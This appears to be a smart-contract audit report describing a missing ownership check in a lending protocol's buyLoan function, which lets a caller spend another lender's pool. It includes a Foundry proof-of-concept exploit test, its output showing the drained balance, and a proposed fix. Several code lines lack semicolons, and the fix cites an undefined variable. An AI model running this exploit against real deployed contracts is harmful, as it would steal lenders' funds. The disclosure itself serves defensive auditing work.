Summary
When a user calls startAuction, another user can call buyloan with a poolId from another user and cause them to lose funds
Vulnerability Details
function buyLoan(uint256 loanId, bytes32 poolId) public {
Loan memory loan = loans[loanId]
if (loan.auctionStartTimestamp == type(uint256).max)
revert AuctionNotStarted();
if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
revert AuctionEnded();
uint256 timeElapsed = block.timestamp - loan.auctionStartTimestamp;
uint256 currentAuctionRate = (MAX_INTEREST_RATE * timeElapsed) / loan.auctionLength;
if (pools[poolId].interestRate > currentAuctionRate) revert RateTooHigh();
(uint256 lenderInterest, uint256 protocolInterest) = _calculateInterest(
loan
)
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
)
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
)
pools[oldPoolId].outstandingLoans -= loan.debt;
IERC20(loan.loanToken).transfer(feeReceiver, protocolInterest);
emit Repaid(
loan.borrower,
loan.lender,
loanId,
loan.debt + lenderInterest + protocolInterest,
loan.collateral,
loan.interestRate,
loan.startTimestamp
)
// update the loan with the new info
loans[loanId].lender = msg.sender;
loans[loanId].interestRate = pools[poolId].interestRate;
loans[loanId].startTimestamp = block.timestamp;
loans[loanId].auctionStartTimestamp = type(uint256).max;
loans[loanId].debt = totalDebt;
emit Borrowed(
loan.borrower,
msg.sender,
loanId,
loans[loanId].debt,
loans[loanId].collateral,
pools[poolId].interestRate,
block.timestamp
)
emit LoanBought(loanId);
}
As you can see, buyloan does not check if p.lender == msg.sender. This allows a user to provide an arbitrary poolId (from another user) and manipulate their funds from the pool through these lines of code
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
The user is unable to retrieve theirs funds again.
here a test
function test_steal_borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 2,
interestRate: 1000,
outstandingLoans: 0
})
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
vm.startPrank(lender2);
p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
bytes32 poolId2 = lender.setPool(p);
(,,,,uint256 poolBalance2,,,,) = lender.pools(poolId2)
console.log("poolBalance lender2", poolBalance2/1e18);
vm.stopPrank();
console.log(" ");
vm.startPrank(lender3);
p = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 2,
interestRate: 1000,
outstandingLoans: 0
})
bytes32 poolId3 = lender.setPool(p);
vm.stopPrank();
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId3,
debt: 100*10**18,
collateral: 100*10**18
})
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b
lender.borrow(borrows);
console.log(" ");
(,,,,uint256 poolBalance3,,,,) = lender.pools(poolId3)
vm.stopPrank();
vm.startPrank(lender3);
uint256[] memory loanIds = new uint256[](1);
loanIds[0]=0
lender.startAuction(loanIds);
vm.stopPrank();
vm.warp(block.timestamp + 1);
vm.startPrank(attacker);
lender.buyLoan(0,poolId2);//malicious user buyLoan with poolId2
vm.stopPrank();
(,,,,poolBalance2,,,,) = lender.pools(poolId2)
console.log("poolBalance lender2", poolBalance2/1e18);
console.log(" ");
vm.startPrank(borrower);
vm.expectRevert();
lender.repay(loanIds);
vm.stopPrank();
vm.startPrank(lender2);
vm.expectRevert();
lender.startAuction(loanIds);
vm.stopPrank();
}
the result
Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_steal_borrow() (gas: 1116730)
Logs:
poolBalance lender2 1000
poolBalance lender2 899
Test result: ok. 1 passed; 0 failed; finished in 10.35ms
Impact
user loss funds
Tools Used
manual review
Recommendations
add in buyloan require(p.lender == msg.sender);